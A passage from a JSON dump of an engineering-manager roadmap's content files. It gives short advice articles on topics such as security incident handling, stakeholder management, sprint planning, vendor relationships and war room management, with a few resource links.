    "content": "# Security  Best Practices\n\nAs an Engineering Manager, ensuring security best practices is crucial. This involves creating and maintaining secure software infrastructure, and making sure the team is following proper protocols.\n\nResponsibilities include staying updated on latest security trends and threats, applying suitable security measures, and overseeing code reviews. It's also important for the manager to instill a security-minded culture within the team, ensuring developers are aware and attentive to security considerations.\n\nChallenges can emerge from rapidly evolving threats and compliance issues. To overcome these, the manager often needs the ability to anticipate problems and devise effective solutions. Additionally, having strong leadership skills helps in including security practices as a primary concern in development processes. Regular training and updates about the latest security best practices is also an effective strategy to prepare the team to handle potential threats."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/security-incident-handling@FNp4-RgPvfC76pJKjX56a.md",
    "content": "# Security incident handling\n\nAn Engineering Manager plays a pivotal role in security incident handling. Key responsibilities include establishing protocols for incident response and ensuring the team is well-prepared to manage any security breach. The manager needs to promote a culture of security awareness, regularly updating the team on potential risks and implementing security best practices.\n\nChallenges may include staying up-to-date with emerging threats and utilizing the appropriate technologies to defend against them. Crafting a strong incident response strategy can be complex, but a good manager will use their expertise to overcome these hurdles, adapting their approach as necessary.\n\nKey skills include maintaining a level head under pressure, strong communication to coordinate team responses, and a deep understanding of potential security vulnerabilities. By applying these skills, an Engineering Manager can successfully negotiate the delicate balance between risk, security, and business needs."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/security-incident-handling@QFhhOgwz_bgZgOfKFg5XA.md",
    "content": "# Stress Management\n\nStress management encompasses the techniques and strategies used to control and reduce the negative impacts of stress. It involves identifying stressors, understanding their effects on physical and mental well-being, and implementing coping mechanisms to maintain a healthy balance. Effective stress management aims to improve overall resilience and performance by mitigating the adverse consequences of prolonged or intense pressure.\n\nVisit the following resources to learn more:\n\n- [@article@Stress Management](https://www.helpguide.org/mental-health/stress/stress-management)\n- [@video@5 Steps to Rapidly Reduce Stress (Top Stress Management Techniques)](https://www.youtube.com/watch?v=1WIHlVZcrzs)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/service-recovery@2fHcb1dAnf34APCAAlwnR.md",
    "content": "# Service Recovery\n\nService recovery is a critical responsibility for an Engineering Manager. They lead their teams through restoring and maintaining essential services following any disruption. This could be due to a server failure, software crashes, or unexpected logical errors.\n\nAs this role requires swift and effective actions, Engineering Managers often face challenges in balancing resources, troubleshooting, and maintaining good communication with stakeholders. The ability to stay calm under pressure, effective problem-solving skills, and strong communication are key to succeeding in this area.\n\nTo handle these challenges, they define recovery plans, protocols, and procedures, coordinate with respective teams, manage necessary resources and, most importantly, learn from each incident. Improving over time helps prevent similar future incidents, ensuring the smooth running of the service."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/social-connections@LE3ykySYFL23KvuwxeBaR.md",
    "content": "# Social connections\n\nCreating and maintaining social connections within a team is a key focus for an Engineering Manager. It's their role to facilitate an environment that encourages bonding, which often involves organizing team-building events or casual gatherings.\n\nThey face challenges like remote work preventing face-to-face interaction, and cultural or personality differences causing disconnect. To address these, they may use digital tools for virtual meetups, or implement diversity and inclusion training.\n\nTheir success in this aspect requires strong interpersonal and listening skills, empathy, and thoughtfulness. It helps to understand team dynamics and individual personalities. The aim is to build a team whose members know, trust, and respect each other, fostering a more collaborative and effective work culture."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/software-engineering-background@fBENrXdMhoGYgL_d96tgo.md",
    "content": "# Software Engineering Background\n\nAn Engineering Manager with a Software Engineering background is well-equipped to handle technical challenges within the team. They can effectively provide direction and guidance on software development, use their knowledge to troubleshoot problems and offer practical solutions. Their role entails not only supervising the team's work but also assisting in technical aspects.\n\nThe main challenge is to strike a balance between managerial work and active technical contribution. They need to keep their software engineering skills up-to-date to maintain credibility and effectiveness. Prioritizing tasks, constant learning, and effective delegation are crucial aspects in this regard.\n\nA manager in this scenario should be proficient in specific programming languages that their team uses, software design principles, testing methods, and debugging. They should also have a good understanding of different software development methodologies to manage their team optimally."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/sprint-planning@7BcToTqL78QmG4qb43X5Q.md",
    "content": "# Sprint Planning\n\nAn Engineering Manager plays a pivotal role in sprint planning. They lead the team in defining the project's scope for the next sprint, taking into account the team's capacity and the project's priorities. They ensure team members understand tasks and their importance.\n\nTheir responsibilities include setting realistic objectives, aligning with stakeholders, and securing required resources. They reconcile the business needs and technical feasibility, ensuring high-value features are developed first.\n\nThe challenges in sprint planning often revolve around resource allocation, maintaining quality, and managing risks. Good communication, leadership, and negotiation skills are required to effectively drive sprint planning. The Engineering Manager must be adept at balancing speed, quality, and the team's capabilities while ensuring alignment with the project's overall goals."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/stakeholder-communication@irEwTIubCjORnlH27QpEo.md",
    "content": "# Stakeholder Communication\n\nAn Engineering Manager plays a crucial role in incident response, especially when managing stakeholder communication. They are responsible for maintaining open, honest, and constant communication with all relevant parties. Ensuring that stakeholders are up-to-date with the situation, planned actions, and progress reassures them about the situation's management.\n\nThe main challenge lies in providing accurate and timely updates without causing panic. Effective communication can be complicated by rapidly changing circumstances and varying stakeholder interests and needs. The Engineering Manager must balance the need for transparency, the sensitivity of information, and maintaining trust.\n\nTo succeed, the Engineering Manager needs excellent communication skills. It's equally important to understand technical details and translate them into non-technical terms. A calm demeanor and crisis management skills are invaluable when dealing with high-pressure situations. Clear guidelines and practices around stakeholder communication in crisis situations can also be beneficial."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/stakeholder-management@34uOnta7dKOyZL0et_RC8.md",
    "content": "# Stakeholder management\n\nAn Engineering Manager plays a critical role in stakeholder management during organizational change. They act as the link between the technical team and all other stakeholders (e.g., customer, management, or other teams). Their main responsibilities include communicating effectively about the impact of the proposed changes on the product delivery, ensuring that the stakeholders are on the same page about it.\n\nThe challenge here is that stakeholders may have different perspectives and respond differently to the change. To handle this, the Engineering Manager needs to have good negotiation skills and the ability to manage conflicts. They must present information in a way that maintains stakeholder buy-in throughout the process.\n\nIn essence, successful stakeholder management requires clear communication, empathy, and understanding of different stakeholder's needs. This ensures a smoother transition with minimal disruptions to the engineering workflow."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/stakeholder-management@TVqVlJqegLZRSkwNoHbBf.md",
    "content": "# Stakeholder Management\n\nStakeholder management is a critical part of an Engineering Manager's role. They must be able to clarify project goals, handle issues and create a shared vision among different stakeholders. Key responsibilities include steering meetings, managing expectations and providing regular progress updates.\n\nOne challenge is that each stakeholder may have different interests and priorities. Balancing these opposing views and reaching consensus can be tough. To handle this, Engineering Managers need to be tactical mediators with strong negotiation skills.\n\nThis role requires a mix of technical and soft skills. They need to understand underlying technologies and projects' unique dynamics. Alongside, strong communication skills to relay technical information in a non-technical way is essential. Good stakeholder management enhances trust and fosters a favorable working relationship among teams."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/status-reporting@gqKEgKjEu5sOf5Gl-HS-j.md",
    "content": "# Status Reporting\n\nEngineering Managers have a key role in status reporting. This involves constantly monitoring projects, addressing bottlenecks, and updating upper management and stakeholders. They ensure that everyone stays informed about project timelines, resource allocation, and development progress.\n\nThe main challenge facing Engineering Managers is to deliver bad news diplomatically. This might involve changes in schedule, budget overruns, or technical challenges. Good communication skills are needed to handle such situations effectively.\n\nTo excel in this aspect, an Engineering Manager needs to have a clear overview of all project statuses and be ready to provide accurate, concise updates. They should also be adept at managing expectations and should be proactive in identifying and addressing potential challenges. In a nutshell, efficient status reporting helps in building trust and promoting transparency in an engineering team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/strategic-proposals@uBrsV_EocAkRWEqJYjoZn.md",
    "content": "# Strategic proposals\n\nAn Engineering Manager's role in strategic proposals involves developing and presenting potential strategies to executives. They need to understand the technical aspects of projects or strategies, and relay this information to non-technical audiences persuasively.\n\nThe challenge lies in tailoring technical content for an executive audience. This requires exceptional communication skills and an ability to simplify complex information. A successful Engineering Manager is one who can translate complex engineering concepts into strategic proposals that align with the company's objectives.\n\nKey responsibilities include understanding the company's strategic direction, proactively identifying areas for improvement or innovation, and crafting strategic proposals that clearly communicate benefits, costs, and potential risks. It's a demanding task that necessitates critical thinking, strategic planning, and clear communication skills."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/system-design-and-architecture@iX4HPgoiEbc_gze1A01n4.md",
    "content": "# System Design and Architecture\n\nAn Engineering Manager leads and oversees the system design and architecture. They're responsible for ensuring that the design aligns with the company's business goals and client needs. Their tasks may include making key technical decisions, reviewing design proposals, architecting scalable systems, and ensuring systems' redundancy and fault tolerance.\n\nTechnical issues are common in system design and architecture. An Engineering Manager handles these by having a deep understanding of the systems and their dependencies. They must effectively communicate these complexities to their team and guide the problem-solving process.\n\nThe manager needs excellent problem-solving and communication skills. They need to understand the trade-off between design complexities, operational costs, and ease-of-use. This helps in creating systems that are efficient, user-friendly, and cost-effective."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/system-monitoring--performance@pduPcv2QPpVmVvDdK4CPi.md",
    "content": "# System Monitoring & Performance\n\nAn Engineering Manager has a vital role to play in system monitoring & performance. They're responsible for setting up the right tools and processes that allow ongoing scrutiny of systems to ensure optimal performance. This includes laying out clear KPIs for system uptime, responsiveness, and other critical metrics.\n\nChallenges can include capturing the right data and making sense of it to preempt problems. They may use data visualization and other analytic tools to simplify this task. It's also up to them to champion the importance of this aspect to their team and encourage their active participation.\n\nTo succeed, an Engineering Manager needs a solid understanding of relevant technologies and the ability to make data-driven decisions. Balancing proactive and reactive approaches is key, as is nurturing a culture that values maximum system effectiveness."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/team-health-metrics@KPDHk7tl_BnIj_obnq3Kl.md",
    "content": "# Team Health Metrics\n\nTeam health metrics are pivotal for an Engineering Manager as they provide insights into team performance, morale, and overall effectiveness. As a manager, it's crucial to regularly track these metrics, like productivity rates, team morale, and code quality, and to address any issues promptly.\n\nManagers face the challenge of balancing the quantitative data with qualitative observations. Not all issues are reflected in numbers, so managers need a holistic view of the team. Measures like team discussions, one-on-one meetings, or anonymous surveys can be beneficial.\n\nEffective managers cultivate an open, honest culture where team members feel comfortable sharing concerns. This requires good interpersonal and communication skills. Top-tier managers are proactive, they don't wait for visible cracks before checking on their team's health. They keep their finger on the pulse, always working towards nurturing a high-performing, harmonious team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/team-meetings@e0ZuiCoS8sJ0XB1lNiz7_.md",
    "content": "# Team Meetings\n\nAn Engineering Manager's role in team meetings is, above all, to guide and inspire the team. They must set the agenda and ensure that all key points are discussed to move projects forward. Clear communication is crucial, as is the ability to listen to the team's feedback and ideas. An open and inclusive environment can help encourage freely sharing thoughts and solutions.\n\nOne of the challenges faced as an Engineering Manager concerns ensuring that everyone's voice is heard, and no time is wasted. They address this challenge with efficient time management and inclusive discussion habits. For instance, the use of meeting timers and round-robin discussion techniques can help.\n\nTo succeed in this aspect, managers need strong organizational and interpersonal skills. They should also have the ability to value different perspectives, fostering a culture of respect and open-mindedness."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/team-mergers@ph0U4l2alVJ8lUJ96q7co.md",
    "content": "# Team mergers\n\nEngineering Managers play a crucial role in merging teams. Their responsibility is to lead the process smoothly and ensure the newly merged team works effectively. It involves planning and executing the integration process, setting shared goals, and building team unity. They need to focus on promoting open communication, resolving conflicts and managing team dynamics.\n\nMerging teams presents challenges such as blending different cultures, aligning processes, and addressing concerns of team members. Managers tackle these by promoting transparency, facilitating consistent communication, and setting clear expectations.\n\nSucceeding in this aspect requires strong leadership and interpersonal skills. Empathy and good listening skills are vital to understand and address team member concerns. It also requires good planning and organizational skills to manage the process efficiently and ensure the new team is productive."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/team-motivation@U_oOnDXkCE387r9olvMZB.md",
    "content": "# Team Motivation\n\nFor an Engineering Manager, sparking team motivation is paramount. They take the extra step to understand their team members' motivations, whether it's acquiring new skills or delivering high-quality products, and use this understanding to fuel their passion. Manager's key responsibility here is to set clear objectives, provide feedback, and foster a positive work environment.\n\nChallenges may arise when morale dips or burnout creeps in. Successful managers are quick to tackle these issues head-on, employing strategies like team-building activities or one-on-one talks to invigorate their team once more. They foster an understanding, empathetic, and encouraging environment.\n\nSucceeding in motivating a team requires emotional intelligence and strong communication skills. An ability to inspire others and create a vision that the team can rally behind and work towards is crucial to drive team members to go beyond the call of duty."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/team-structure-and-design@tPDmXXjvFI_8-MTo_dEUw.md",
    "content": "# Team Structure and Design\n\nTeam structure and design weigh heavily on an Engineering Manager's shoulders. Key responsibilities include determining the necessary roles, defining their right fit, and establishing efficient channels of communication. This foundation is fundamental to improving overall productivity and agile adaptability.\n\nChallenges include aligning team design to project demands while balancing individual talent and skill proficiencies. Managers often resolve these issues by identifying their teams' strengths, driving role clarity, and fostering a culture of open, honest feedback.\n\nSuccess in this area requires robust understanding of software development processes, emotional intelligence for effective interpersonal relationships, and strategic planning skill to design adaptable team structures. By dexterously aligning individual strengths to project needs, managers truly extract the maximum potential from their teams."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/team-traditions-and-rituals@8Nro6PTkEkNugYBjQfJ6O.md",
    "content": "# Team Traditions and Rituals\n\nAs an Engineering Manager, fostering positive team traditions and rituals is essential for a healthy team culture. They often organize and participate in these traditions to build camaraderie and morale. These can include activities such as daily stand-ups, team lunches, code reviews, or even celebrating personal achievements.\n\nThe manager has to consider the interests and cultures of their team members when creating these traditions. The aim is to create inclusivity, promote collaboration, and ensure everyone feels valued.\n\nDeveloping team rituals can be challenging as not everyone may be receptive to the same practices. The manager has to strike a balance, soliciting feedback, and being flexible to ensure these practices are positively impacting teamwork and productivity. The main skill here is effective communication and management skills."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/tech-talks@2LO0iWf-y3l4rA1n_oG1g.md",
    "content": "# Tech Talks\n\nEngineering Managers often utilize Tech Talks as an effective method for knowledge transfer within the team. It's their responsibility to organize these sessions where team members can share ideas, innovations, and discoveries related to their technical work. These discussions can help to improve overall team understanding, promote learning, and foster a culture of open communication.\n\nOne challenge for managers is getting team members to actively participate in Tech Talks. To overcome this, they might offer incentives or make participation part of performance assessments. Also, having clearly defined topics can help keep discussions focused and engaging.\n\nSuccessful Engineering Managers encourage team members to take ownership of Tech Talk sessions. This approach promotes leadership within the team and helps to share knowledge in a more organic and relatable way."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technical-customer-support@V5s2i-L2tsZFNxMLN_e_U.md",
    "content": "# Technical customer support\n\nEngineering Managers play a vital role in technical customer support. They're responsible for ensuring that their team provides accurate and timely solutions to the customer's technical issues. Their key responsibilities include devising effective strategies for problem-solving, conducting regular team meetings to discuss pressing issues, and maintaining strong communication with other teams to understand system issues or software bugs.\n\nEngineering Managers also often face the challenge of reducing response time, managing customer expectations, and providing quality tech support. To tackle these, they prioritize regular training and upskilling for their team, foster an environment of continuous improvement, and use customer feedback for process enhancements.\n\nSuccess in this aspect requires strong technical acumen, excellent communication skills, and a customer-centric approach. The capability to turn customer feedback into actionable improvements is an invaluable asset in this role."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technical-debt-and-management@EY6Hk5wPd9Y_VA1UROk44.md",
    "content": "# Technical Debt and Management\n\nEngineering Managers play a crucial role in managing technical debt. This involves identifying, prioritizing, and tackling issues. It's the manager's job to strike a balance between improving the existing codebase and delivering new features.\n\nAddressing technical debt demands constant vigilance. Key responsibilities include conducting code reviews, advocating for coding standards, and allocating time for refactoring and updates. They face challenges like pushback from stakeholders and proper risk assessment.\n\nSuccess in this area requires a mix of technical knowhow and leadership skills. An effective Engineering Manager maintains open communication about technical debt among team members and stakeholders. They leverage their actions towards ensuring the team's efforts align with the company's goals."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technical-documentation@_2xnTKt5yi__jj_WgcLa7.md",
    "content": "# Technical Documentation\n\nAn Engineering Manager takes the lead in establishing a practice for creating and maintaining technical documentation. The manager needs to ensure that protocols are followed and the information is consistently up-to-date. Consistent and clear documentation helps the team by reducing misunderstandings and boosting productivity.\n\nThe challenges for an Engineering Manager in this area include ensuring that everyone understands the importance of accurate documentation. Ensuring that documentation is completed regularly and is up-to-date can also be a difficult task. Tackling these challenges requires persuasion, effective communication skills, and the implementation of efficient systems and tools.\n\nThe essential skills in this case are organization, leadership, technical proficiency, and high attention to detail. Managing documentation effectively lays the foundation for smooth technical operations and allows for the development, training, and growth of the team."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technical-excellence-mindset@Cq0OFaWqSRathZO-bxBrP.md",
    "content": "# Technical excellence mindset\n\nAn Engineering Manager plays a vital role in promoting a technical excellence mindset. Their key responsibility is to foster an environment where the team constantly challenges the status quo and seeks ways to improve their technical skills and knowledge. This requires creating an atmosphere that values continuous learning, encourages innovation, and rewards creative problem-solving.\n\nThe challenge lies in maintaining this mindset while also meeting project deadlines and business objectives. Striking a balance between fostering technical excellence and delivering quality output on time is crucial. The manager addresses this by breaking down complex technical tasks into achievable goals that also offer learning experiences.\n\nSkills such as leadership, efficient communication, problem-solving, and goal-oriented thinking are needed to succeed in instilling a technical excellence mindset. The manager needs to lead by example, continuously improving their own skills and inspiring their team to do the same."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technical-partnerships@tCT2syTMyEHCspDLXxk6R.md",
    "content": "# Technical partnerships\n\nAn Engineering Manager plays a vital role in fostering technical partnerships in relation to customer relations. They have the responsibility of coordinating and collaborating with tech-partners to fulfill customer requirements, effectively leveraging their expertise for mutual benefit. They need to maintain a sound understanding of both the partner's capabilities and the customer's needs, bridging them effectively.\n\nThe main challenges include managing expectations and solving conflicts between the needs of the customer and the capabilities of the tech-partner. Engineering Managers address these by maintaining transparency and keeping lines of communication open to ensure a smooth collaboration.\n\nTo succeed, an Engineering Manager needs to have excellent communication and negotiation skills, alongside a strong understanding of technology. Being proactive in foreseeing and managing potential conflicts and issues can also lead to a successful technical partnership."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technical-risk-assessment@d7zMBhMFgY9MwmKC9CVVh.md",
    "content": "# Technical Risk Assessment\n\nAn Engineering Manager plays a pivotal role in technical risk assessment, acting as the gatekeeper to foresee and avoid potential dangers. Their key duties revolve around identifying the technical debt, evaluating its potential impact, and laying out choices to mitigate it. They also participate in disaster recovery planning, ensuring the team is prepared to handle any technical issues that might arise.\n\nThe role also presents certain challenges such as keeping up with fast-changing technology trends and anticipating outdated technologies that could pose a risk. To navigate these roadblocks, their approach often involves consistent learning, problem-solving capabilities, and proactiveness.\n\nTo succeed in technical risk assessment, an Engineering Manager requires a combination of technical expertise and adept risk management. They need to have a thorough understanding of their tech stack, the ability to foresee potential issues, and develop foolproof contingency plans."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technical-roadmapping@ikCJ8Ybu2AD1w5VuPNVAO.md",
    "content": "# Technical Roadmapping\n\nAs an Engineering Manager, the creation of technical roadmaps forms a pivotal part of your role. Simply put, it's a strategic document that outlines the steps your team needs to take to achieve technical goals. You're responsible for being a vital connection between company-wide goals and your engineering team.\n\nA key challenge is aligning the roadmap with both business requirements and foundational technology needs. This involves clear communication, close collaboration with other departments, and frequent alignment meetings.\n\nSuccess in this aspect requires strong technical knowledge, project management skills, and diplomacy. You need to communicate the roadmap effectively to the team, manage roadblocks, and resource allocation. Remember, a roadmap is not a fixed path but a guide that may need to be adjusted over time."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technical-standards-setting@C2YsaZ32An_UXV8lB7opm.md",
    "content": "# Technical Standards Setting\n\nEngineering Managers play a crucial role in the setting of technical standards. Their key responsibilities include identifying appropriate industry standards, ensuring the team's technical resources align with these standards, and implementing them consistently across all engineering projects.\n\nA common challenge faced by Engineering Managers is sustaining a balance between maintaining high standards and keeping up with the speed of technology innovations. They can address this by staying abreast with the latest technology trends and adjustments in industry standards.\n\nTo succeed in this aspect, an Engineering Manager needs keen attention to detail, ability to research and comprehend complex technical concepts, and strong leadership skills to guide the team in aligning with these standards. Demonstrating flexibility and open-mindedness to change is also a crucial approach in managing evolving technical standards."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technology-adoption@jerPoyfCcwZbNuE_cl1hq.md",
    "content": "# Technology adoption\n\nAn Engineering Manager has a vital role during technology adoption as a part of technical change management. They evaluate technologies to determine their suitability for the team's needs. This includes assessing the impact of new technologies on existing systems, workflows, and team skills.\n\nEngineering Managers are responsible for planning the adoption process, communicating changes to the team, and overseeing implementation. This minimizes disruption and ensures a smooth transition to the new technology. They must also organize training sessions to help team members get up to speed with the new technology.\n\nOne of the challenges faced by Engineering Managers during technology adoption is resistance to change. They must manage this tactfully by highlighting the benefits of the new technology, and ensuring everyone's concerns are addressed. Strong communication skills and a patient approach are required for this."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/technology-partnerships@xMN575nnnQJeHe2oJYw17.md",
    "content": "# Technology partnerships\n\nEngineering Managers play a key role in fostering technology partnerships. It's a necessity for them to understand both the technical sides and value propositions of potential partners. They establish and maintain relationships based on mutual technology goals, and ensure that partners align with the overall strategy of their engineering team.\n\nFor partner management, Engineering Managers often need strong negotiation skills and a clear understanding of the business impact. They are responsible for regular partner check-ins and gauging the success of the partnership. A collaborative approach ensures that both parties receive benefits.\n\nThe challenge often lies in managing divergent priorities and expectations. To navigate this, an Engineering Manager needs effective communication and conflict resolution skills. They explore how technology partnerships can advance the team’s objectives, but also remain mindful of the risk and investment involved."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/testing-strategies@q5SJyM1d8cQzzAcR-kotB.md",
    "content": "# Testing Strategies\n\nTesting strategies form a crucial part of an engineering manager's domain. They are responsible for defining the approach that allows quick detection of flaws and ensures the production of quality software products. Their key responsibilities include selecting the proper testing methods, liaising with the development team to ensure adherence to established protocols, and managing resources for efficient testing.\n\nEvery engineering manager faces the challenge of implementing a robust testing strategy while balancing time and resources. To tackle this, they frequently use automated testing tools, risk-based testing, or integrate testing in continuous deployment models.\n\nTo excel in managing testing strategies, an Engineering Manager not only requires a deep understanding of different testing methodologies and tools but also excellent communication skills to ensure every member of the team understands and follows the selected strategy."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/timeline-estimation@QWO5QFS7kXwfu3aa8IiRt.md",
    "content": "# Timeline Estimation\n\nTimeline estimation is a vital part of an Engineering Manager's role. Typically, they'll leverage their experience, industry knowledge, and sometimes, gut feeling, to envisage a project's duration. They are responsible for considering factors such as workload, complexity, team size, and risks to determine a realistic timeline.\n\nThey often face challenges in ensuring that timelines are accurate and achievable. This can be from uncertain project requirements or unforeseen obstacles. To combat these, a good approach is to use methods like PERT or 'Three-point estimation' which factor in the best, worst and most likely scenarios.\n\nTo thrive in timeline estimation, Engineering Managers need a fine balance of technical depth, data analysis skills, probability knowledge, and communication proficiency. Robust project management tools to visually map progress can also be invaluable."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/tool-transitions@f-52wRfPRrA9iniOMYQB7.md",
    "content": "# Tool transitions\n\nAs an Engineering Manager, implementing a tool transition is a major responsibility. It's key to ensure the new tool meets team requirements and aligns with company goals. They need to plan the transition, helping team members understand why the change is happening and what the benefits are.\n\nChallenges during tool transitions include resistance to change, knowledge gaps, and possible disruption to workflows. The Engineering Manager must address these by having clear communication, offering training, and incorporating staff feedback during the transition.\n\nSuccess in tool transition often calls for strong leadership, excellent communication, project management abilities, and a good grasp on the technical aspects of both the legacy and new tools. Managers need to implement the new system smoothly while also maintaining ongoing team productivity."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/trust--influence-building@7PBmYoSmIgZT21a2Ip3_S.md",
    "content": "# Trust / Influence Building\n\nBuilding trust and influence is crucial for any Engineering Manager. This involves establishing a solid reputation, delivering on promises and being an active listener to your team's ideas and issues. It's a manager's job to ensure there's an open, honest environment that promotes trust. Balancing delegation and taking charge, especially in difficult situations, is key to building influence.\n\nOne challenge in this area is building trust between team members of varying experiences and skills. Managers must not only show the team they're competent, but also that they value everyone's inputs. They can achieve this by promoting inclusivity and praising team contributions regularly.\n\nBeing patient, communicate clearly, and showing empathy are critical skills that can help an Engineering Manager in trust and influence building. By embodying these traits, managers can build a stronger, united, and more effective engineering team.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding The Trust Equation](https://trustedadvisor.com/why-trust-matters/understanding-trust/understanding-the-trust-equation)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/velocity-tracking@idd92ZTBVUzptBl5jRdc3.md",
    "content": "# Velocity Tracking\n\nAn Engineering Manager plays a critical role in managing project velocities. They are responsible for understanding team pace and utilizing this data to predict project completion times. This not only assists in setting realistic expectations but also in resource allocation.\n\nA challenge they face is ensuring the team maintains a steady pace without burning out. It's crucial to strike a balance between pushing the team and understanding their fatigue limits. Misinterpreting velocity data can lead to overpressure or sub-optimal delivery times.\n\nTo navigate this, the manager needs to be skilled at interpreting data and managing people. Clear communication with staff about expectations, combined with careful monitoring of pace, helps maintain a healthy velocity. They need to approach the task with a blend of empathy, analytical thinking and strategic planning."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/vendor-management@Imgt669vbUT_Iec2o4Gvt.md",
    "content": "# Vendor Management\n\nVendor Management involves negotiating contracts, improving value procurement, and maintaining effective communication. An Engineering Manager plays a key role in this aspect. Their responsibilities include choosing credible vendors, tracking vendor performance and ensuring that their products or services are of high quality.\n\nManaging vendor relationships can be a challenge. However, it's essential in ensuring the organization gets the best possible deal. The Engineering Manager can overcome these challenges with excellent communication, negotiation skills, and an understanding of the market trends.\n\nFor successful vendor management, an Engineering Manager needs skills in communication, analytics and financial planning. By mastering these areas, they can secure the best vendors, foster good relations, and ultimately ensure the successful delivery of projects. This can also result in cost effectiveness and long-term business stability."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/vendor-relationships@WYoqfmk5ejB2UOiYXh4Zi.md",
    "content": "# Vendor relationships\n\nEngineering managers play a crucial role in maintaining robust vendor relationships. They are often responsible for choosing the right vendors, managing contracts, and ensuring the quality of services or goods provided.\n\nOne challenge they face is ensuring that the vendors adhere to the agreed service level agreements (SLAs) and standards. They handle this by setting clear expectations, maintaining open communication, and effectively managing vendor performance.\n\nFor success in this area, an engineering manager needs strong negotiation skills, good communication, and an understanding of contract management. A proactive approach to addressing issues and fostering a positive relationship is also beneficial. This ultimately helps the team get high-quality services and meet their goals."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/vision-alignment@QssXmeifoI3dtu-eXp8PK.md",
    "content": "# Vision alignment\n\nAs an Engineering Manager, aligning vision is a crucial aspect of executive communication. They are responsible for understanding the company's strategic objectives and translating them into engineering goals. This task requires effective communication, ensuring all team members comprehend and work towards this common goal.\n\nThe challenge is to explain complex technical strategies in a clear, engaging way that connects with the broader organization's mission. It involves constant dialogue with the executive team, offering technical expertise in strategic planning, and negotiable skills to balance between ambitious business goals and realistic engineering capacities.\n\nCrafting this bridge between executive vision and engineering execution requires a mix of technical depth, strategic thinking, and excellent interpersonal skills. Managers need to be good listeners, flexible thinkers, and inspiring leaders to ensure the team can perform optimally to bring the vision to life."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/war-room-management@LQ3YfAgJ4UaDgtnN-cMht.md",
    "content": "# War Room Management\n\nManaging a War Room during an incident response requires the Engineering Manager to harness effective cross-functional communication skills. They coordinate with various teams, aligning everyone towards resolving the issue in the fastest possible way. At the same time, they minimize the impact on services and maintain transparency with stakeholders about progress.\n\nA key responsibility of the Engineering Manager is to ensure that each War Room participant has a clear role and understands it. This includes assigning who will detail the incident, who will analyze and fix the issue, and who will communicate with impacted stakeholders.\n\nChallenge in War Room management can arise due to various technical difficulties or miscommunication. These challenges are best tackled by the Engineering Manager through regular reviewing and practicing of War Room procedures and by continuing education on the latest incident handling strategies."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/what-is-engineering-management@_hYN0gEi9BL24nptEtXWU.md",
    "content": "# What is Engineering Management?\n\nEngineering management is the integration of engineering principles with business practices to oversee and optimize complex engineering-driven enterprises. It involves planning, organizing, allocating resources, and directing activities that have a technological component.\n\nVisit the following resources to learn more:\n\n- [@article@Engineering Management Resources](https://github.com/engineering-management/awesome-engineering-management)\n- [@article@Software Engineering at Google: The Engineering Manager](https://abseil.io/resources/swe-book/html/ch05.html#the_engineering_manager)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/engineering-manager.json",
